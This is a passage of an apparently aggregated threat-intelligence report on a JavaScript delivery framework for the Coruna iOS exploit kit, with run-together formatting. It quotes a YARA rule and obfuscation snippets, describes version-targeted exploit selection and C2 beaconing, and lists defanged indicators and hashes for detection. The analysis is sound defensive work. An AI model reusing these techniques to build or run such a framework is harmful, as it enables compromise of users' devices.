mmrZ0r) — Coruna buffout (CVE-2021-30952, fixed 15.2) and jacurutu (CVE-2022-48503, fixed 15.6)ShQCsB) — Coruna bluebird (no CVE, fixed 16.2)KeCRDQ) — Coruna terrorbird (CVE-2023-43000, fixed 16.6)JtEUci) — Coruna cassowary (CVE-2024-23222, fixed 17.3)1001 in our sample; cassowary patched at exactly this boundaryThe hard cutoff at threshold 170300 (iOS 17.3) that we decoded directly corresponds to the patch boundary for CVE-2024-23222, the WebKit type confusion vulnerability exploited by Coruna's cassowary chain. This confirms that our sample's primary target path (JtEUci, iOS 16.6–17.2) is delivering cassowary.
Coruna uses:
sha256(COOKIE + ID)[:40] = resource URL
Our sample uses:
sha256("cecd08aa6ff548c2" + moduleHash)[:40] + ".js"
These are structurally identical. What Coruna calls a "COOKIE" is what we decoded as the session key cecd08aa6ff548c2. GTIG notes that Coruna resources are "served from URLs ending with .min.js" — consistent with our sample's self-registered name 7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.min.js and all remote modules being served as .js files under content-derived 40-hex-char paths.
GTIG published this YARA rule to detect Coruna's delivery framework:
rule G_Hunting_Exploit_MapJoinEncoder_1 {
strings:
$s1 = /\[[^\]]+\]\.map\(\w\s*=>.{0,15}String\.fromCharCode\(\w\s*\^\s*(\d+)\).{0,15}\.join\(""\)/
condition:
1 of ($s*) and not any of ($fp*)
}Our sample contains this pattern throughout all three obfuscation layers, e.g.:
[118,116,117,...].map(x => String.fromCharCode(x ^ 67)).join("")
[99, 39, 62].map(x => String.fromCharCode(x ^ 77)).join("")This sample matches the GTIG YARA rule.
Coruna uses i.p1=(1111970405 ^ 1111966034) to obscure numeric constants. Our sample uses the same pattern throughout:
(1231382113 ^ 1231552349) // → 236
(1903251526 ^ 1903260907) // → 9389 (WASM challenge expected value)
(1345340530 ^ -1361199427) // → 0xFEEDFACFCoruna dispatches chip-specific exploit modules: IronLoader targets ≤A12 chips and NeuronLoader targets A13–A16 chips, both operating at the sandbox escape layer. Our sample discriminates identically at the WASM layer, routing CPU_TYPE_ARM64 (0x01000007) to runtime RoAZdq (standard iPhone A-series) and CPU_TYPE_ARM64_32 (0x0100000C) to runtime PSNMWj (Apple Silicon / M-series), then loading architecture-specific crypto modules. The underlying mechanism — reading cpuType from heap memory to select a version-specific exploit primitive — is the same in both.
.xyz C2 Domain PatternCoruna's DGA seeds on "lazarus" and generates 15-character .xyz domains. Our C2 l1ewsu3yjkqeroy[.]xyz is also a 15-character .xyz domain and matches the character-set and length profile of Coruna DGA output. The hard-coded Coruna C2 list contains 27 .xyz domains of identical format.
GTIG attributes Coruna's third campaign to UNC6691, described as a Chinese financially-motivated threat actor deploying the kit across 50+ cryptocurrency scam and Chinese-language websites by end of 2025. Several signals in our sample align with this attribution:
art-template, a widely-used Chinese template engine) and the injector domain (v3.jiathis[.]com, a Chinese social sharing service) both originate from the Chinese npm/web ecosystemCHMK6IG08F42496C22, 1DECX7UIQIB43) are consistent with UNC6691's bulk deployment stylegooll/gooll.html is consistent with GTIG's documented UNC6691 staging pages (e.g. /static/analytics.html, /tuiliu/group.html)The delivery framework (49554fde7424c31c.js) is the qualification and staging layer only. Analysis of the next-stage modules is ongoing, but the files do not match previous Coruna reporting. The following were features reported by Google that are yet to be confirmed:
.lA() payload — not embedded)breezy, seedbell family)IronLoader, NeuronLoader)Photon, Gruber, Sparrow, etc.)PLASMAGRID, com.apple.assistd).min.jsAll of these are consistent with this file being the browser-side qualification harness — the component that determines whether the device is real, unpatched, and worth exploiting — before the actual exploit chain is fetched and executed. Coruna's architecture separates this layer from the exploit delivery layer by design, which is why static analysis of this file alone cannot confirm exploitation.
The obfuscation fingerprint, content-addressed URL scheme, version band targeting, chip-specific dispatch, XOR encoding pattern, .xyz C2 domain format, and hard cutoff at iOS 17.3 are all individually documented Coruna characteristics. Their simultaneous presence in this sample makes an independent re-implementation implausible. This sample is assessed with high confidence to be the Coruna exploit kit delivery framework, while linking the campaign to UNC6691 requires additional infrastructure analysis.
l1ewsu3yjkqeroy[.]xyz at DNS/proxy — all sub-paths are malicious.icanhazip.com fetch followed within 2 seconds by a POST to an unrecognized API endpoint. This sequence is a behavioral signature of this implant family's beacon IIFE.CHMK6IG08F42496C22 in proxy/DLP logs — this string in a POST body is a definitive campaign hit.cecd08aa6ff548c2 — any URL containing this string before a 40-character hex path component is a dynamic module fetch from this implant or a family member.cfww.shop and all subdomains — the randomized subdomain pattern (utaq., cfww.) is consistent with a bulk-registered phishing domain fleet..cfww.shop/*.js from iOS User-Agent — any JavaScript file fetched from this domain to a Safari iOS client should be treated as suspicious.art-template@4.13.5 (pkg:npm/art-template@4.13.5)art-template@4.13.6 (pkg:npm/art-template@4.13.6)49554fde7424c31c.js)f31bdd069fe7966ae11be1f78ee5dd44445938856dd1df12379e0e84a6851f5c8064d4e0322f069b3dba13e7957ff0ca7dab79846e79ae622b7ef30f31fdbcc2dc65339e49554fde7424c31c.js — delivered filename7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.min.js — self-registered name decoded from uint32 packercecd08aa6ff548c2 — session key; present in all remote module GET request pathsobChTK — JS global name of the module dispatcher injected into globalThisfqMaGkN4, fqMaGkNR, fqMaGkNK, fqMaGkNr — outer obfuscation function names; stable across this sampleldm_mml_t — DOM element ID injected by MathML anti-bot probe (removed after check)_ldm_ + random — IndexedDB database name created transiently by the iOS Blob probev3.jiathis[.]com — supply chain injection origin; hosts jia.js and art.jshxxps://v3.jiathis[.]com/code/jia.js?uid=artemplate — injected by art-template@4.13.5hxxps://v3.jiathis[.]com/code/art.js — injected by art-template@4.13.6utaq[.]cfww[.]shop — watering hole delivery origin; hosts gooll/gooll.html and all payload moduleshxxps://utaq[.]cfww[.]shop/gooll/gooll.html — landing page embedding the implanthxxps://utaq[.]cfww[.]shop/gooll/49554fde7424c31c.js — implant entry pointcfww[.]shop — domain family (bulk-registered .shop)l1ewsu3yjkqeroy[.]xyz — C2 base domainhxxps://l1ewsu3yjkqeroy[.]xyz/api/ip-sync/sync — victim IP + device version beacon (HTTPS POST)hxxps://ipv4[.]icanhazip[.]com — public IP oracle used pre-beacon (HTTPS GET)CHMK6IG08F42496C22 — channelCode field in beacon POST body (decoded from XOR char array)1DECX7UIQIB43 — second campaign constant; declared but not used in beacon in this sample (literal string in file)All of the following are fetched as JavaScript from utaq[.]cfww[.]shop and eval'd via new Function(). A GET to any URL containing these 40-character hex strings (before or after the content-address transform) is a confirmed hit.
7d8f5bae97f37aa318bccd652bf0c1dc38fd8396 — iOS 11.0–15.1 WASM loaderea3da0cfb0a5bdb8c440dd4a963f94cbd39d9e44 — iOS 15.2–15.5 WASM loaderd11d34e4d96a4c0539e441d861c5783db8a1c6e9 — iOS 15.6–16.1 WASM loader57cb8c6431c5efe203f5bfa5a1a83f705cb350b8 — iOS 16.2–16.5 WASM loadere3b6ba10484875fabaed84076774a54b87752b8a — iOS 16.6–17.2 WASM loader (primary)477db22c8e27d5a7bd72ca8e4bc502bdca6d0aba — shared crypto init29b874a9a6cc9fa9d487b31144e130827bf941bb — iOS crypto getter (wF8NpI)9db8a84aa7caa5665f522873f49293e8eebccd5c — iOS crypto getter (LJ1EuL)171a7da1934de9e0efb9c1645f4575f88e482873 — desktop WebKit crypto getter91b278ddb2aec817b10c1535e0963da74f9b8eeb — non-Safari WebKit crypto getterb586c88246144bc7975ad4e27ec6d62716bf34ea — fallback crypto getter7f809f320823063b55f26ba0d29cf197e2e333a8 — final action, WASM-verified pathc03c6f666a04dd77cfe56cda4da77a131cbb8f1c — final action, primary path (all standard iPhones)ba712ef6c1bf20758e69ab945d2cdfd51e53dcd8 — WASM ABI sub-moduleThese are the actual paths the implant GETs from utaq[.]cfww[.]shop. Network signatures should match any GET containing these 40-char hex path components regardless of query string.
5ff38f5342bb3c931bc504d6fa3523d0c8865b93.js — iOS 11.0–15.1 loader46ecd515ac9e99ef0603063db39303a0fd849632.js — iOS 15.2–15.5 loaderff4f3cb4711fb364b52de5ab04a8f83140466f89.js — iOS 15.6–16.1 loader8c4451cf1258f9a8d6a8af27864f111fd69a0e99.js — iOS 16.2–16.5 loader6beef463953ff422511395b79735ec990bed65f4.js — iOS 16.6–17.2 loaderbef10a7c014b826e9dd645984e80baf313c1635f.js — shared crypto init4a75f0551eba446b4fa35127024a84b71d9688d6.js — iOS crypto getter (wF8NpI)3fd66b32c44150acff3dcb80f86c759574148ed5.js — iOS crypto getter (LJ1EuL)17480ecc0120292fb6b8b19f2fa134385dcfd0fd.js — desktop WebKit crypto getterf6377d5d458183d41c5fd99661c5a306b42c6255.js — non-Safari WebKit crypto getter3bc0f6865c0476c0a98a76cb9924d6b3972df591.js — fallback crypto getter8835419f53fa3b270c8928d53f012d4c28b29ea4.js — final action, WASM-verified path9af53c1bb40f0328841df6149f1ef94f5336ae11.js — final action, primary path (all standard iPhones)aea58f0e58801b528702a6c66bf4af8b99041243.js — WASM ABI sub-moduleThese are SHA-256 hashes of the file contents as fetched from the live C2. All 14 were successfully retrieved. None of these hashes appear in the GTIG/Mandiant Coruna IOC list — this infrastructure was not previously published.
080da430f7e3a38d7cad59887df30d9ac40e70d203c7aa5f5afaf0cafcb73e5f — iOS 11.0–15.1 WASM loaderb0b29b6148c4b0dbd77d33f821ca01e2d7a711988b854285a2606dcc53894abe — iOS 15.2–15.5 WASM loader593548d714f6d48acb886d42bf576d8fd6b1ddae6f888dda0719671a53463663 — iOS 15.6–16.1 WASM loader2c4a5a49a84f55db0dd5554f7a9e055dbb0eae3782986726c6dcfab84ecd6dc5 — iOS 16.2–16.5 WASM loadereaab0874332777ad8a03a292bcd608a3358547f9f16ab551d34eef35d5cd539e — iOS 16.6–17.2 WASM loader (primary)feb9442c39619d7bb3ff29de8e1d4bebceb1b24f8c0a63da2f2b30a1023dc94f — shared crypto init473f182b8cbbdb5b4b29b7ad875014d66f1691ed2e770c633b559d97243895a7 — iOS crypto getter (wF8NpI)329ae1401819da4f87e3726b7e2707afcaf62d1219c4256c828df36af0a8784a — iOS crypto getter (LJ1EuL)7b8436669563e7d317c219b26432bdaab70e39061ea2c1c70fcc201f2c19c470 — desktop WebKit crypto getterde1a07d8978725eaa6da5658e373e88264ac90515750201bfbe17947d5a9e788 — non-Safari WebKit crypto getter675a40df5f517f8f0cd99f74c5468f56d1d8f05003e997477a2af3bc7b0105a9 — fallback crypto getter2cfa14b2cd1f3fd51406cf1ac49c761a5c26ce3994e97de7f1ca469d85248a52 — final action, WASM-verified pathebcc76dcd5ef596e732321a8d16eb2dee525c5d9a68c700b7885648c13c65a57 — final action, primary path (all standard iPhones)5c0ebd86d2e8ae2087c0a4def4e0364a0cfb85c7e0a753fc96dca55b6c303432 — WASM ABI sub-module0xFEEDFACF — Mach-O 64-bit magic; searched in WASM heap by lr()0x01000007 — CPU_TYPE_ARM64; standard iPhone arm640x0100000C — CPU_TYPE_ARM64_32; Apple Silicon / ARM64_320x24AD / 9389 — WASM proof-of-work expected value; checked in $n()60000000 ms — page reload interval (~16.67 hours)10000 ms — C2 beacon repeat interval此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。